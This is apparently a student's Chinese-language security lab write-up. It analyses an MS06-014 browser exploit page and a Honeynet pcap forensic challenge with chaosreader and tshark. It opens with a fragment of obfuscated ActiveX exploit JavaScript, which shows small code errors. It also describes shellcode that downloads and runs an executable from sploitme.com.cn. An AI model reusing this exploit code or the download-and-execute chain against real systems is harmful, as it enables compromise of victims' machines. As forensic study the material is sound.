var t=new Array('{'+'B'+'D'+'9'+'6'+'C'+'5'+'5'+'6'+'-'+'6'+'5'+'A'+'3'+'-'+'1'+'1'+'D'+'0'+''+'9'+'8'+'3'+'A'+'-'+'0'+'0'+'C'+'0'+'4'+'F'+'C'+'2'+'9'+'E'+'3'+'6'+'}','{'+
'B'+'D'+'9'+'6'+'C'+'5'+'5'+'6'+'-'+'6'+'5'+'A'+'3'+'-'+'1'+'1'+'D'+'0'+'-'+'9'+'8'+'3'+'A'+'-'+'0'+'0'+'C'+'0'+'4'+'F'+'C'+'2'+'9'+'E'+'3'+'0'+'}','{'+'7'+'F'+'5'+'B'+'7'+'F'+'6'+'3'+'-'+'F'+'0'+'6'+'F'+'-'+'4'+'3'+'3'+'1'+'-'+'8'+'A'+'2'+'6'+'-'+'3'+'3'+'9'+'E'+'0'+'3'+'C'+'0'+'A'+'E'+'3'+'D'+'}','{'+'6'+'e'+'3'+'2'+'0'+'7'+'0'+'a'+'-'+'7'+'6'+'6'+'d'+'-'+'4'+'e'+'e'+'6'+'-'+'8'+'7'+'9'+'c'+''+'d'+'c'+'1'+'f'+'a'+'9'+'1'+'d'+'2'+'f'+'c'+'3'+'}'
,'{'+'6'+'4'+'1'+'4'+'5'+'1'+'2'+'B'+'-'+'B'+'9'+'7'+'8'+'-'+'4'+'5'+'1'+'D'+'-'+'A'+'0'+'D'+'8'+'-'+'F'+'C'+'F'+'D'+
'F'+'3'+'3'+'E'+'8'+'3'+'3'+'C'+'}','{'+'0'+'6'+'7'+'2'+'3'+'E'+'0'+'9'+'-'+'F'+'4'+'C'+'2'+'-'+'4'+'3'+'c'+'8'+'-'+'8'+'3'+'5'+'8'+'-'+'0'+'9'+'F'+'C'+'D'+'1'+'D'+'B'+'0'+'7'+'6'+'6'+'}','{'+'6'+'3'+'9'+'F'+'7'+'2'+'5'+'F'+'-'+'1'+'B'+'2'+'D'+'-'+'4'+'8'+'3'+'1'+'-'+'A'+'9'+'F'+'D'+'-'+'8'+'7'+'4'+'8'+'4'+'7'+'6'+'8'+'2'+'0'+'1'+'0'+'}','{'+'B'+'A'+'0'+'1'+'8'+'5'+'9'+'9'+'-'+'1'+'D'+'B'+'3'+'-'+'4'+'4'+'f'+'9'+'-'+'8'+'3'+'B'+'4'+'-'+'4'+'6'+'1'+'4'+'5'+'4'+'C'+'8'+'4'+'B'+'F'+'8'+'}','{'+'D'+'0'+'C'+'0'+'7'+'D'+'5'+'6'+'-'+'7'+'C'+'6'+'9'+'-'+'4'+'3'+'F'+'1'+'-'+'B'+'4'+'A'+'0'+'-'+'2'+'5'+'F'+'5'+'A'+'1'+'1'+'F'+'A'+'B'+'1'+'9'+'}','{'+'E'+'8'+'C'+'C'+'C'+'D'+'D'+'F'+'-'+'C'+'A'+'2'+'8'+'-'+'4'+'9'+'6'+'b'+'-'+'B'+'0'+'5'+'0'+'-'+'6'+'C'+'0'+'7'+'C'+'9'+'6'+'2'+'4'+'7'+'6'+'B'+'}','{'+'A'+'B'+'9'+'B'+'C'+'E'+'D'+'D'+'-'+'E'+'C'+'7'+'E'+'-'+'4'+'7'+'E'+'1'+'-'+'9'+'3'+'2'+'2'+'-'+'D'+'4'+'A'+'2'+'1'+'0'+'6'+'1'+'7'+'1'+'1'+'6'+'}','{'+'0'+'0'+'0'+'6'+'F'+'0'+'3'+'3'+'-'+'0'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'-'+'C'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'4'+'6'+'}','{'+'0'+'0'+'0'+'6'+'F'+'0'+'3'+'A'+'-'+'0'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'-'+'C'+'0'+'0'+'0'+'-'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'0'+'4'+'6'+'}',null);
while(t[i])
{
Var a=null;
if(t[i].substring(0,1)=='{')
{
a=document.createElement("object");
a.setAttribute("cl"+"as"+"sid","cl"+"s"+"id"+":"+t[i].substring(1,t[i].length-1));}
else{try{a=newActiveXObject(t[i]);}
catch(e){}}
if(a)
{
try
{
Var b=TNnqPqFwATYGhAFN(a,"W"+"Sc"+"ri"+"pt"+".S"+"he"+"ll");
if(b)
{
MVPXzuoZeLqwiAgmYyyewEJvmOllm(a);
return(0);}
}catch(e){}}i++;}}
</script></head>
<body onload='tVvSIcjfVnZffIabEspn()'>YyswB
</body></html>
- js调用了document.location加载了
payload
,并且下一行中后面跟了一个可执行文件rzULNEAMzLdxJYBzMznRxycm.exe
,这个可执行文件应该是以攻击机为服务器,通过网页下载到靶机上的,而且为了躲避杀毒软件,每次加载恶意网页生成的可执行文件的名字是不一样的。
- 打开靶机任务管理器查看正在运行的程序进行验证。发现了在网页源码中出现的可执行文件(应该是名字太长没有显示完全),其作用就是帮助攻击机获取靶机控制权限。
BD96C556-65A3-11D0-983A-00C04FC29E36
是漏洞MS06-014中的clsid变量,搜索BD96C556
,容易知道攻击者使用的漏洞是MS06-014。。
四.取证分析挑战实践:Web浏览器遭遇攻击
任务:通过分析给出的网络记录pcap文件,回答以下问题:
①列出在捕获文件中的应用层协议类型,你认为攻击是针对哪个或哪些协议的?
- 首先安装
chaosreader
:
wget https://github.com/brendangregg/Chaosreader/archive/master.zip
mv master.zip chaosreader.zip
unzip chaosreader.zip
sudo apt install chaosreader
- 使用命令
chaosreader -r suspicious-time.pcap
打开suspicious-time.pcap
文件:
- 可以看到攻击集中在HTTP协议上。
②列出捕获文件中的IP地址、主机名和域名。从这些信息中你能猜到攻击场景的环境配置情况吗?
- 使用命令:【注意这块最后是
-u
,指导书上有一点错误】
for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http: ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat
"$i" | grep 'http: ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host: ' | sort -u | sed -e 's/Host: //g'`; echo
"$srcip --> $dstip = $host"; done | sort -u
- 从结果可以看出:
rapidshare.com.eyu32.ru
对应192.168.56.50;sploitme.com.cn
对应192.168.56.52;shop.honeynet.sg
对应192.168.56.51; - 使用命令
tshark -r suspicious-time.pcap | grep 'NB.*20>' | sed -e 's/<[^>]*>//g' | awk '{print $3,$4,$10}' | sort -u
筛选出NBNS协议,NBNS协议的作用是基于NetBIOS名称访问的网络上提供主机名和地址映射方法,即提供主机名称。
- 可以发现这四个不同 ip 地址的主机分别映射的主机名是相同的
- 使用命令
tshark -r suspicious-time.pcap | grep 'NB.*1e>' | sed -e 's/<[^>]*>//g' | awk '{print $3,$4,$9}' | sort -u
- 发现四个 ip 地址的主机在同一个工作组。
- 再用wireshark打开
suspicious-time.pcap
,通过arp筛选发现,四个ip地址所对应的mac地址相同,推测这四台主机相同的或者克隆的,又因为具有四个网卡,所以猜测攻击场景的环境是VM中。
- 服务:
10.0.2.2
,10.0.3.2
,10.0.4.2
,10.0.5.2
(DHCP 服务和网关),192.168.1.1
(DNS 服务)。 - 受害者:
10.0.2.15
,10.0.3.15
,10.0.4.15
,10.0.5.15
。 - 模拟被侵入主机:
192.168.56.50
( “rapidshare.com.eyu32.ru”)、192.168.56.51
(“shop.honeynet.sg”)。 - 攻击者:
192.168.56.52
( “sploitme.com.cn”)。
③列出捕获文件中的所有网页页面,其中哪些页面包含了可疑的、可能是恶意的JavaScript脚本代码?谁在连接这些页面?请描述恶意网页的攻击目的?
- 使用浏览器打开
session_0006.part_01.html
发现了如下界面,这应该是一个钓鱼网站,对应的就是rapidshare.com.eyu32.ru/login.php
。
- 找
sploitme.com.cn
,发现 404 NotFound 了,这个对应文件session_0007.part_02.html
。
- 找
shop.honeynet.sg/catalog/
,对应文件session_0032.part_01.html
。
④请给出攻击者执行攻击动作的概要描述。
- 攻击者将恶意javascript代码注入指向
sploitme.com.cn/?click=X
的隐藏iframe。 - 当访问者查看这些页面时,它们首先被重定向到
sploitme.com.cn/fg/show.php?s=X
,该页面通过302 FOUND
标头重定向到伪造的404页面(数据包63、174、366)。 - 然后在该页面中,检查用户代理字符串,着陆点和其他参数,并(show.php)发出另一个javascript代码,该代码尝试各种攻击以在受害者的计算机中执行代码。如果任何漏洞利用成功,则客户端的计算机将下载并执行位于
sploitme.com.cn/fg/load.php?e=X
的文件,恶意软件访问www.honeynet.org
。
⑤攻击者引入了哪些技巧给你的分析带来了困难,请提供在之前问题中识别的恶意JavaScript脚本内容,并对它们进行解码或解密。
- 将恶意页面伪装成404页面:
- 发送给受害者的漏洞利用程序取决于受害者使用的浏览器,这使得确定漏洞利用者变得更加困难。
- 该漏洞利用程序不允许同一客户端访问两次。
⑥攻击者的目标是哪个操作系统,哪些应用软件,哪些安全漏洞?如何阻止这些攻击?
- 追踪TCP 142号流,可以查看到主要攻击目标是IE浏览器漏洞和含有ActiveX组件漏洞的。
- 可以通过修补操作系统和应用程序,进行定期更新以及使用“ActiveX杀手”或使用其他Web浏览器来防止攻击。
⑦Shellcode执行了哪些动作?请列出Shellcode的MD5,并比较他们之间的差异?
- Shellcode获取系统临时文件路径,加载
urlmon.dll
,从 URLhttp://sploitme.com.cn/fg/load.php?e=1
检索可执行文件,然后执行它。 Shellcode 之间的唯一区别是对load.php
脚本的请求中的e变量,该变量指定发送恶意软件可执行文件。
⑧在攻击场景中有二进制可执行恶意代码参与么?它们的目的是什么?
- 有,攻击使客户端从恶意软件分发网络服务器下载可执行文件并在本地执行。恶意可执行软件这是load.php发送的Win32可执行文件,目的是在受害者主机上通过 Internet Explorer 加载 www.honeynet.org
3.学习中遇到的问题及解决
- 问题1:实践一在靶机Win2kServer访问含有木马的连接的时候总是不成功
- 问题1解决方案:需要重启靶机Win2kServer,然后回连接成功,再次进行实验又不成功,然后就需要再次重启机器,也不知道为啥。。。
- 问题2:不会用不同的漏洞编写渗透代码混淆成一个url
- 问题2解决方案:没有混淆只用了一个
4.实践总结
本周的实践内容比较难,感觉自己是作业的搬运工,这知识不进脑子啊。。